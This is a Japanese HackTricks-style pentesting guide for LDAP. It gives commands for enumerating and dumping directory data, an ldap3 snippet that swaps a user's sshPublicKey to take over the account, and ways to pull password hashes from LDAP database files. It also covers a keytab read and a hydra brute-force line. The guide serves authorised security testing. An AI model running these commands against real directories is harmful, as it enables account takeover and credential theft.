# 389, 636, 3268, 3269 - LDAPのペネトレーションテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**最新版のPEASSを入手**したり、HackTricksをPDFで**ダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。 * **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
## 基本情報 出典: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) LDAP(Lightweight Directory Access Protocol)は、公共インターネットでも企業のイントラネットでも、ネットワーク内の組織、個人、その他の**リソース**(ファイルやデバイスなど)を**検索**するためのソフトウェアプロトコルです。LDAPはDirectory Access Protocol(DAP)の「軽量」(コード量が少ない)バージョンです。 LDAPディレクトリは、多くのサーバーに**分散**されています。各サーバーは、定期的に**同期**される全ディレクトリの**複製**バージョンを持つことができます。LDAPサーバーはDirectory System Agent(DSA)と呼ばれます。ユーザーからのリクエストを受け取ったLDAPサーバーは、リクエストに対する責任を持ち、必要に応じて他のDSAに渡しますが、ユーザーに対して単一の調整された応答を保証します。 LDAPディレクトリは、以下のレベルを含む単純な「ツリー」階層で構成されています: * ルートディレクトリ(ツリーの出発点または源)、これが分岐して * 各国、それぞれが分岐して * 組織、これが分岐して * 組織単位(部門、部署など)、これが分岐して(エントリを含む) * 個人(人々、ファイル、プリンターなどの共有リソースを含む) **デフォルトポート:** 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、デフォルトでポート3268およびLDAPSの3269で利用可能です。 ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAPデータ交換フォーマット LDIF(LDAP Data Interchange Format)は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。 ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * 1〜3行目はトップレベルドメインlocalを定義しています * 5〜8行目はファーストレベルドメインmoneycorp(moneycorp.local)を定義しています * 10〜16行目は2つの組織単位:devとsalesを定義しています * 18〜26行目はドメインのオブジェクトを作成し、属性に値を割り当てます ## データの書き込み 値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、ユーザーまたは任意のユーザーの**"sshPublicKey"情報を変更できる**と想像してください。この属性が存在する場合、**sshはLDAPから公開鍵を読み込んでいる**可能性が高いです。ユーザーの公開鍵を変更できれば、**sshでパスワード認証が有効になっていなくてもそのユーザーとしてログインできる**でしょう。 ```bash >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## クリアテキスト資格情報のスニッフィング LDAPがSSLなしで使用されている場合、ネットワーク上で**クリアテキストの資格情報をスニッフィング**することができます。 また、**LDAPサーバーとクライアントの間で**ネットワーク上で**MITM**攻撃を実行することができます。ここで**ダウングレード攻撃**を行うと、クライアントは**クリアテキストの資格情報**を使用してログインします。 **SSLが使用されている場合**、上記のように**MITM**を試みることができますが、**偽の証明書**を提供します。**ユーザーがそれを受け入れた場合**、認証方法をダウングレードして再び資格情報を見ることができます。 ## 匿名アクセス ### TLS SNIチェックのバイパス [**このライトアップ**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、彼は任意のドメイン名(company.comのような)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接続し、情報を抽出することができました。 ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP匿名バインド [LDAP匿名バインド](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。これには、ユーザー、グループ、コンピューター、ユーザーアカウント属性、およびドメインパスワードポリシーの完全なリストが含まれます。これは**レガシーな設定**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。\ しかし、管理者は特定のアプリケーションで匿名バインドを**設定する必要があった**かもしれませんが、意図した以上のアクセス権を与えてしまい、認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようになっている可能性があります。 ## 有効な資格情報 LDAPサーバーにログインする有効な資格情報を持っている場合、以下を使用してドメイン管理者に関するすべての情報をダンプできます: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) ## 列挙 ### 自動化 これを使用すると、**公開情報**(ドメイン名など)を確認できます。 ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
Pythonを使ったLDAP列挙を見る **資格情報の有無にかかわらずPythonを使用してLDAPを列挙する**ことができます: `pip3 install ldap3` まず、資格情報**なしで**接続を試みます: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` 応答が前の例のように`True`である場合、LDAP(**naming context**や**domain name**など)サーバーからいくつかの**興味深いデータ**を取得できます。 ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` ```markdown 一度命名コンテキストを取得すると、もっとエキサイティングなクエリを実行できます。このシンプルなクエリはディレクトリ内のすべてのオブジェクトを表示するはずです: ``` ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` または、ldap全体を**ダンプ**します: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* は、LDAPクエリを利用して**Windowsドメインからユーザー、グループ、コンピューターを列挙する**ためのPythonスクリプトです。 ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch nullクレデンシャルがあるか、またはあなたのクレデンシャルが有効かどうかを確認します: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` ``` _bindが完了しなければならない_という表示がある場合、それは資格情報が正しくないことを意味します。 ドメインから**すべてを抽出**するには: ``` ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` **ユーザー**の抽出: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` **コンピューター**の抽出: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` **私の情報を抽出する**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **ドメイン管理者の抽出**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **ドメインユーザーの抽出**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **エンタープライズ管理者を抽出する**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **管理者**の抽出: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` **リモートデスクトップグループ**の抽出: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` クエリの実行後、パスワードへのアクセス権があるかどうかを確認するには、grepを使用できます: ```bash | grep -i -A2 -B2 "userpas" ``` 以下のパスワードは実際のものではない可能性がありますのでご注意ください... #### pbis **pbis**はこちらからダウンロードできます: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 通常、`/opt/pbis`にインストールされています。\ **Pbis**を使用すると、基本情報を簡単に取得できます: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## グラフィカルインターフェース ### Apache Directory [**ここからApache Directoryをダウンロードしてください**](https://directory.apache.org/studio/download/download-linux.html)。このツールの使用例は[こちらで確認できます](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。 ### jxplorer LDAPサーバー用のグラフィカルインターフェースはこちらからダウンロードできます:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) デフォルトでは、以下の場所にインストールされます: _/opt/jxplorer_ ![](<../.gitbook/assets/image (22) (1).png>) ### Godap [https://github.com/Macmod/godap](https://github.com/Macmod/godap) でアクセスできます。 ## kerberos経由での認証 `ldapsearch` を使用して、**NTLM** ではなく **kerberos** に対して**認証**するには、パラメータ `-Y GSSAPI` を使用します。 ## POST データベースが含まれているファイルにアクセスできる場合(_/var/lib/ldap_ にある可能性があります)、以下を使用してハッシュを抽出できます: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` johnにパスワードハッシュを供給できます('{SSHA}'から'structural'までで、'structural'を追加せずに)。 ### 設定ファイル * 一般 * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * IBM SecureWay V3 サーバー * V3.sas.oc * Microsoft Active Directory サーバー * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * OpenLDAP ディレクトリサーバー * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## HackTricks 自動コマンド ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。** * **[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。**